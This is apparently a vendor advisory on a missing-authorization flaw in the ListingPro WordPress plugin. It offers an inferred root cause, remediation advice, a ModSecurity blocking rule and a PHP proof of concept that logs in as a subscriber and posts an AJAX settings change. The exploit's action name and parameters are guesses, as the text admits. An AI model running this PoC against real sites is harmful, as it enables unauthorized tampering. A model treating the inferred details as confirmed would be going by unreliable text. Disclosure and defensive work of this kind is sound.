Atomic Edge analysis of CVE-2026-65478 (metadata-based):
This vulnerability affects the ListingPro Plugin for WordPress, version 2.9.10 and earlier. It is a Missing Authorization issue (CWE-862) with a CVSS score of 4.3 (medium). The flaw allows authenticated attackers with subscriber-level access or higher to perform an unauthorized action. The vulnerability stems from a missing capability check on a function, meaning the plugin fails to verify that the current user has the required permission before executing a sensitive operation. This conclusion is inferred from the CWE classification and the vendor description, as no code diff is available for direct confirmation.
Root Cause:
The likely root cause is a WordPress AJAX or admin-post handler that registers a callback without incorporating a current_user_can() check before processing the request. WordPress AJAX actions are typically registered via hooks like wp_ajax_{action} and wp_ajax_nopriv_{action}. The absence of a capability check allows any authenticated user, including subscribers, to invoke the function. The affected function may perform actions such as updating plugin settings, modifying listings, or toggling features. Atomic Edge research infers this pattern from the CWE and the authenticated attacker requirement; the specific function and endpoint cannot be confirmed without source code.
Exploitation:
An attacker with a subscriber-level account can craft a POST request to the WordPress AJAX endpoint at /wp-admin/admin-ajax.php. The request includes the action parameter corresponding to the vulnerable handler, along with any required parameters. Because the handler lacks a capability check, the request processes successfully despite the attacker having no administrative privileges. For example, if the vulnerable action is ‘listingpro_save_settings’, an attacker could send the request with arbitrary settings values. The attacker may need to supply a valid nonce if one is checked, but the missing authorization is the core flaw. The exact action name and parameters are not disclosed in the public metadata, so the PoC must be adapted to the specific handler identified during further research.
Remediation:
The fix requires adding proper capability checks to the affected function. The developer should verify that the current user has the appropriate permission, such as edit_posts, manage_options, or a custom capability, before executing any sensitive operation. For AJAX handlers, the check should be implemented immediately after checking the nonce, using current_user_can( ‘capability’ ) or a similar function. If the check fails, the handler should return an error and terminate. The fix must also be applied to all related handlers that may share the same weakness. Since no patched version is available, users should apply the recommended code changes manually or use a WAF rule to block attempts until a patch is released.
Impact:
Successful exploitation allows an authenticated attacker with minimal privileges to perform an unauthorized action. This could lead to unauthorized modification of plugin settings, alteration of listing data, or disruption of site functionality. The CVSS vector indicates a low impact on integrity and no impact on confidentiality or availability. This means the attacker cannot steal data or crash the site, but they can alter content or configuration. In a broader context, this could be leveraged for content injection or to set the stage for more severe attacks, such as stored XSS or privilege escalation, depending on the affected function.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-65478 (metadata-based)
# Blocks direct AJAX calls to likely ListingPro actions that lack authorization.
# Requires authentication, but subscriber-level access is sufficient; we block the endpoint regardless of role.
# This rule is narrow: it only matches admin-ajax.php with specific ListingPro action prefixes.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265478,phase:2,deny,status:403,chain,msg:'CVE-2026-65478 via ListingPro AJAX',severity:'CRITICAL',tag:'CVE-2026-65478'"
SecRule ARGS_POST:action "@rx ^listingpro_" "chain"
SecRule ARGS_POST ".*" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65478 - ListingPro Plugin <= 2.9.10 - Missing Authorization
// This PoC demonstrates how an authenticated subscriber can trigger
// a vulnerable AJAX action in the ListingPro plugin without proper
// capability checks. Adjust the $action and $params to match the
// actual vulnerable handler identified in the target installation.
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'subscriber_user';
$password = 'subscriber_pass';
// The AJAX action registered by the plugin.
// Inferred from the plugin slug and common patterns. Replace with actual.
$action = 'listingpro_save_settings';
// Parameters expected by the vulnerable function.
// These are placeholders; adjust based on the actual endpoint.
$params = array(
'action' => $action,
'setting_name' => 'some_setting',
'setting_value' => 'attacker_controlled_value'
);
// Step 1: Authenticate and obtain cookies
$login_url = 'https://example.com/wp-login.php';
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
)),
CURLOPT_COOKIEJAR => '/tmp/cve-2026-65478-cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => false
));
curl_exec($curl);
curl_close($curl);
// Step 2: Send the unauthorized AJAX request
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => $target_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($params),
CURLOPT_COOKIEFILE => '/tmp/cve-2026-65478-cookies.txt',
CURLOPT_HTTPHEADER => array(
'X-Requested-With: XMLHttpRequest'
)
));
$response = curl_exec($curl);
curl_close($curl);
// Step 3: Verify if the action was executed (response may vary)
echo "Response: " . $response . "n";
echo "If the response indicates success, the action executed without proper authorization.n";
?>
